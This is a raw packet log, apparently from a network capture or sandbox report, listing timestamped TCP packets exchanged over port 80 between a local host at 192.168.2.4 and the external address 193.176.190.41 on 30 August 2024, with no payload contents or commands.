Aug 30, 2024 18:12:59.263591051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263633013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.263773918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263784885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263794899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263803959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263813972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263824940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263828993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.263837099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263853073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.263864040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.263887882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264089108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264142990 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264223099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264233112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264242887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264254093 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264264107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264270067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264307976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264420033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264431000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264441013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264451027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264462948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264472008 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264494896 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264507055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264750957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264782906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264792919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264802933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264815092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264822960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264825106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264836073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264847040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264857054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264858007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264868021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264878035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.264885902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264908075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.264929056 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.266870022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.266921997 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.266938925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.266948938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.266989946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.267055988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267066956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267076969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267087936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267106056 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.267124891 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.267246008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267292976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.267303944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267349958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.267383099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267394066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267404079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267426968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.267451048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.267559052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267570019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267580032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.267608881 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.267636061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.268584967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.268630028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.268635035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.268642902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.268681049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.268778086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.268789053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.268800020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.268810987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.268826008 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.268847942 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269016981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269027948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269038916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269051075 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269068956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269100904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269242048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269253969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269263983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269294024 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269306898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269452095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269464016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269474030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269484043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269500971 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269634962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269637108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269648075 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269658089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269666910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269687891 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269711018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269891977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269902945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269916058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269927025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269937038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269946098 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269948959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269962072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269970894 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.269973993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.269993067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.270015955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.270350933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270361900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270373106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270384073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270405054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.270421028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.270648956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270661116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270669937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270680904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270689964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270699978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270700932 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.270709991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270720959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270729065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.270731926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.270756960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.270776033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.340905905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.340965986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.340980053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341027975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.341053963 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341085911 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.341094017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341105938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341116905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341137886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.341169119 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.341315031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341367006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.341384888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341442108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.341501951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341514111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341523886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341533899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341552973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.341587067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.341746092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341757059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341768026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341777086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.341800928 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.341819048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.344569921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.344614029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.344624043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.344635963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.344655991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.344676018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.344788074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.344799042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.344810009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.344820976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.344841957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.344876051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.349736929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.349791050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.349800110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.349802017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.349842072 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.349854946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.349906921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.349972963 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.349983931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.349993944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350004911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350029945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350042105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350114107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350162029 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350172997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350183010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350192070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350203037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350212097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350228071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350258112 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350382090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350393057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350403070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350411892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350434065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350452900 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350570917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350581884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350591898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350601912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350629091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350649118 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350795031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350805998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350850105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.350936890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.350990057 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.351020098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351031065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351042032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351052046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351062059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351068974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.351073027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351087093 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351093054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.351125002 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.351138115 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.351393938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351412058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351421118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351429939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351438999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351449013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351457119 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.351460934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351478100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351484060 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.351488113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.351517916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.351526976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.353594065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.353650093 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.353652000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.353665113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.353693962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.353707075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.353789091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.353800058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.353810072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.353821993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.353837013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.353872061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354068041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354079008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354089022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354099989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354111910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354118109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354130030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354150057 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354312897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354324102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354334116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354341984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354352951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354362965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354363918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354391098 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354402065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354604959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354615927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354625940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354638100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354649067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354680061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354888916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354907036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354917049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354926109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354929924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354938030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354948044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354958057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354959011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354974031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354985952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.354986906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.354996920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355000973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.355009079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355032921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.355057001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.355602026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355612040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355623007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355632067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355642080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355642080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.355654001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355660915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.355665922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355675936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355686903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355688095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.355699062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.355710030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.355730057 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.355743885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.356218100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356229067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356239080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356249094 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356259108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356267929 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.356271029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356281996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356292009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356301069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.356303930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356308937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.356314898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356327057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356337070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356340885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.356348038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356359959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.356379032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.356386900 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.356414080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.428436041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428543091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428558111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428653002 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.428653002 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.428653002 CEST	49733	80	192.168.2.4	193.176.190.41
